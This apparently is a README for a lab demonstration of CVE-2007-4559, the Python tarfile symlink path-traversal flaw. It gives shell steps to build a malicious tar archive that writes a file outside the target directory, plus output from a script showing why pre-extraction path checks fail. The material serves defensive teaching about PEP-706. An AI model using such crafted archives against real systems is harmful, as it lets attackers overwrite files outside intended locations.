demonstration of CVE-2007-4559

what is this?

This is a demonstration of how python's default handling of tar file extraction prior to python v3.11.4 is vulnerable to a simple symlink attack. The instructions below describe how to craft a malicious payload. The script untar.py demonstrates how and why the features added in 3.11.4 work - specifically the necessity to invoke something like os.path.realpath() before every write for every file. The script employs the exactly same inspection method found in the extraction filter feature included in python >= 3.11.4 EXCEPT it does not write the files to disk. As such it shows how os.path.realpath() is unable to properly resolve symlinks and thus will allow tar members to be written outside of the intended filesystem location.

what's here?

• instructions (this file) on how to set up the sandbox and the malicious tar file.

• python script untar.py that will demonstrate the 'why' behind the recent implementation of enhanced tar validation in the python tarfile library. Due to how os.path.realpath() works, you can't rely on it to resolve symlinks unless those links are already on the filesystem. This means you can't rely on os.path.realpath() alone to inspect tar member paths prior to extracting the archive. You must instead call os.path.realpath() before every write for every member in the archive to ensure detection of malicious link activity. See PEP-706 and tarfile doc for more information.

create environment and malicious tar file

1. create test environment

snerd@jess:~$ mkdir -p lab/{lib,target}

2. add ./lib folder to tar archive

snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib

3. replace ./lib directory with a symlink of the same name to "."

snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib

4. add symlink "lib" to archive

snerd@jess:~/lab$ tar -rvPf terry.tar lib

5. replace symlink "lib" with directory and file

snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file

6. add file to archive using relative path

snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file

7. copy tar into target directory

snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/

8. unpack tar. "dangerous_file" was unpacked outside the target directory

snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

use python script

1. download untar.py from this repository and put it in the ./lab directory

2. run the script. note how easy it is to fool os.path.realpath() when the malicious symlink has yet to be written to the target filesystem.

snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

further reading

• [Python-Dev] tarfile and directory traversal vulnerability

• Alert: 15-year-old Python tarfile flaw lurks in 'over 350,000' code projects

• SO post on how to safely extract tar archives prior to new features of python 3.11.4

• python issue 21109

• 2022 statement from the longstanding [ret. 2019] maintainer of the tarlib library

• implementation for the new extraction filter feature introduced in python 3.11.4